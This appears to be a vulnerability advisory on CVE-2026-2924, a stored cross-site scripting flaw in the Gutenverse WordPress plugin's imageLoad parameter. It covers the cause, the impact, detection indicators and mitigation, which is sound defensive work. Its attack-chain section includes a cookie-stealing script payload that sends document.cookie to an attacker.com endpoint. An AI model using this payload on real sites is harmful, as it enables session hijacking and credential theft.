CVE-2026-2924: 
WordPress vulnerability analysis and mitigation

CVE-2026-2924 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress, affecting versions up to and including 3.4.6. The flaw exists in the imageLoad parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with contributor-level access or above to inject persistent malicious scripts into pages. It was published on April 4, 2026, with the advisory assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), stemming from the plugin's failure to properly sanitize user-supplied input in the imageLoad parameter before storing and rendering it in page output (GitHub Advisory). An attacker with at least contributor-level WordPress access can craft a malicious payload and submit it via the vulnerable parameter; the script is then stored in the database and executed in the browser of any user who subsequently visits the affected page. The attack vector is network-based, requires low privileges, low complexity, and no user interaction beyond the victim visiting the injected page, with a changed scope indicating impact beyond the vulnerable component itself (GitHub Advisory). A patch-related changeset has been referenced at the WordPress plugin repository (WordPress Changeset).

Successful exploitation allows persistent malicious scripts to execute in the browsers of all users who visit compromised pages, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of victims, site defacement, or malware distribution. Because the injected script persists in the database, all site visitors — including administrators — are at risk each time they access an affected page. The changed scope in the CVSS rating reflects that the impact extends beyond the plugin itself to the broader WordPress site and its users (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit code known at this time, and no evidence of active in-the-wild exploitation has been reported (GitHub Advisory). The EPSS score is approximately 0.029% (0.000290), placing this vulnerability in the 2nd percentile for exploitation likelihood within the next 30 days (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities.

1. Reconnaissance: Identify WordPress sites running the Gutenverse plugin version 3.4.6 or earlier, using tools like WPScan or by inspecting plugin metadata in page source.
2. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site.
3. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the imageLoad parameter.
4. Inject the payload: Create or edit a page/post using the Gutenverse block editor, inserting the malicious payload into the imageLoad parameter of the vulnerable block.
5. Publish the page: Submit or publish the page, causing the payload to be stored in the WordPress database.
6. Trigger execution: When any user (including administrators) visits the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (GitHub Advisory, Wordfence).

• Database/Content: WordPress posts or pages containing unexpected <script> tags or encoded JavaScript within the imageLoad parameter or Gutenverse block attributes.
• Logs: WordPress access logs showing contributor-level users creating or editing pages with unusually large or encoded parameter values in Gutenverse block requests.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages built with the Gutenverse plugin; potential exfiltration of cookie or session data to attacker-controlled endpoints.
• File System: No direct file system artifacts expected for stored XSS, but review the WordPress database (wp_posts table) for injected script content in post meta or block markup associated with Gutenverse blocks.

Update the Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin to a version newer than 3.4.6 as soon as a patched release is available; a relevant changeset has been committed to the plugin repository (WordPress Changeset). Until an update is applied, consider disabling the plugin on production sites or restricting contributor-level access to only fully trusted users. Audit existing pages created with affected versions for signs of malicious script injection in the imageLoad parameter. Deploying a Web Application Firewall (WAF) with XSS detection rules can help detect and block exploitation attempts in the interim (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory and assigned the CVE (Wordfence). No significant broader media coverage, notable researcher commentary, or substantial social media discussion has been identified beyond standard vulnerability aggregator postings.